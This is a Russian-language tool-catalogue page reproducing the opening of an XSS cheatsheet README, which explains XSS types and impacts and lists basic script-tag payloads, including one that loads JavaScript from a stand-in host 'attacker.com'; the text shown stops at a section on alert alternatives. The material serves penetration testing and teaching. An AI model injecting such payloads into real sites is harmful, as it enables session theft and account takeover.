Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
xss-cheatsheet — Полный справочник по XSS, охватывающий отражённые, хранимые, DOM- и слепые полезные нагрузки, обход фильтров, обход WAF, обход CSP, mXSS и реальные примеры CVE. | Kitploit
Инструменты/GitHubGitHub/ardakocadoru/xss-cheatsheet
Сканеры веб-уязвимостейГенерация полезной нагрузкиАнализ уязвимостейЭксплуатация веб-приложенийОбход WAFВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеПодобранные Ресурсы
GitHubardakocadoru/xss-cheatsheet

xss-cheatsheet

2223 месяцев назадЕщё не проверено

Полный справочник по XSS, охватывающий отражённые, хранимые, DOM- и слепые полезные нагрузки, обход фильтров, обход WAF, обход CSP, mXSS и реальные примеры CVE.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

⚡ XSS Cheatsheet — Справочник по Cross-Site Scripting

Stars License: MIT PRs Welcome Last Updated Payloads

Самый полный справочник по XSS на GitHub.
Reflected · Stored · DOM · Blind XSS — payload'ы, обходы фильтров, обход WAF, обход CSP, mXSS, цепочки prototype pollution и реальные CVE. Обновлено для 2026 года.

Payload'ы · Обход фильтров · Обход WAF · DOM XSS · Обход CSP · Blind XSS · Продвинутые техники · Инструменты


Содержание

  • Что такое XSS?
  • Типы XSS
  • Базовые payload'ы
    • Классические payload'ы
    • Альтернативы alert
    • Без скобок
    • Без пробелов
    • С удалёнными кавычками
  • Обход фильтров
    • Вариации регистра
    • Обфускация тегов
    • Список обработчиков событий
    • HTML-кодирование
    • JavaScript-кодирование
    • URL-кодирование
    • Двойное кодирование
    • SVG payload'ы
    • Специфика HTML5
    • Data URI
  • Payload'ы для конкретных контекстов
    • HTML-контекст
    • Контекст HTML-атрибута
    • JavaScript-контекст
    • Контекст JavaScript-строки
    • URL-контекст
    • CSS-контекст
    • Контекст JSON / шаблонов
  • Обход WAF
    • Обход Cloudflare
    • Обход ModSecurity
    • Обход AWS WAF
    • Универсальный обход
  • Обход CSP
    • unsafe-inline
    • script-src self
    • Белые списки CDN
    • Отсутствие base-uri
    • Через dangling markup
    • CSP на основе nonce
  • DOM-Based XSS
    • Распространённые источники
    • Распространённые стоки
    • Payload'ы DOM XSS
    • Инъекция шаблонов AngularJS
  • Blind XSS
  • XSS-полиглоты
  • XSS через загрузку файлов
  • XSS в HTTP-заголовках
  • XSS до RCE
  • Продвинутые техники
    • mXSS
    • DOM Clobbering
    • Prototype Pollution до XSS
    • CSTI
  • Защита
  • Реальные CVE
  • Инструменты
  • Ссылки
  • Участие в проекте

🎯 Что такое XSS?

Cross-Site Scripting (XSS) — это атака с инъекцией кода на стороне клиента, при которой злоумышленник внедряет вредоносные скрипты в контент, отдаваемый доверенным веб-приложением. Когда браузер жертвы отображает страницу, внедрённый скрипт выполняется с теми же привилегиями, что и легитимные скрипты этого origin.

Почему XSS важен

XSS неизменно входит в OWASP Top 10, потому что последствия серьёзны, а поверхность атаки огромна:

ВоздействиеОписание
Перехват сессииКража document.cookie и захват аутентифицированных сессий
Захват аккаунтаСмена email/пароля через поддельные запросы с использованием сессии жертвы
КейлоггингПерехват каждого нажатия клавиши, включая пароли и номера кредитных карт
ФишингВнедрение поддельных форм входа, отправляющих учётные данные атакующему
ДефейсИзменение содержимого страницы для распространения дезинформации или дискредитации цели
Распространение вредоносного ПОПеренаправление жертв на эксплойт-киты
КриптомайнингЗапуск криптомайнеров в браузерах жертв
SSRF / сканирование внутренних портовИспользование браузера жертвы для зондирования внутренней сети
Сбор учётных данныхЧтение автозаполненных учётных данных из DOM
Скриншот / веб-камераЗахват экрана через getDisplayMedia(), веб-камеры через getUserMedia()

Политика одного источника и XSS

XSS обходит политику одного источника (Same-Origin Policy, SOP). Поскольку вредоносный скрипт отдаётся с целевого источника, браузер считает его доверенным. Это означает, что XSS даёт атакующему:

  • Полный доступ на чтение/запись к DOM
  • Доступ ко всем cookie, не защищённым HttpOnly
  • Возможность выполнять аутентифицированные XHR/fetch-запросы к тому же источнику
  • Доступ к localStorage и sessionStorage

🗺️ Типы XSS

Cross-Site Scripting (XSS)
│
├── Reflected XSS
│   ├── Payload in request, reflected in response immediately
│   ├── Requires victim to click crafted link
│   ├── Stored: NO — not persistent
│   └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│   ├── Payload stored in database, file, log, etc.
│   ├── Executes on every page load for every victim
│   ├── Stored: YES — most dangerous type
│   └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│   ├── Payload processed by client-side JS, never reaches server
│   ├── Source → Sink flow entirely in browser
│   ├── Often missed by server-side WAFs and scanners
│   └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
    ├── Payload executes in a different context than where it's injected
    ├── Fires in admin panels, log viewers, CRM systems
    ├── Time delay between injection and execution (hours/days)
    └── Example: support ticket field that fires in agent dashboard
ТипПерсистентностьКто подвергается атакеВидит ли сервер полезную нагрузку?
ОтражённыйНетЦелевая жертваДа
ХранимыйДаВсе посетителиДа
DOMНетЦелевая жертваОбычно нет
СлепойДа (удалённо)Администратор / пользователь бэкендаДа (в точке внедрения)

💥 Базовые полезные нагрузки

Классические

Основополагающие полезные нагрузки, известные каждому исследователю безопасности. Они работают там, где фильтрация отсутствует.

<!-- Standard script tag -->
<script>alert(1)</script>

<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>

<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>

<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>

<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>

<!-- Newline in script tag -->
<script>
alert(1)
</script>

<!-- Multiple statements -->
<script>var x=1;alert(x)</script>

<!-- Using window.alert -->
<script>window.alert(1)</script>

<!-- With character reference -->
<script>alert&#40;1&#41;</script>

<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>

<!-- Arrow function -->
<script>(() => alert(1))()</script>

Альтернативы alert (когда alert заблокирован)

Многие современные приложения и WAF блокируют слово alert. Используйте эти альтернативы:

Скачать инструмент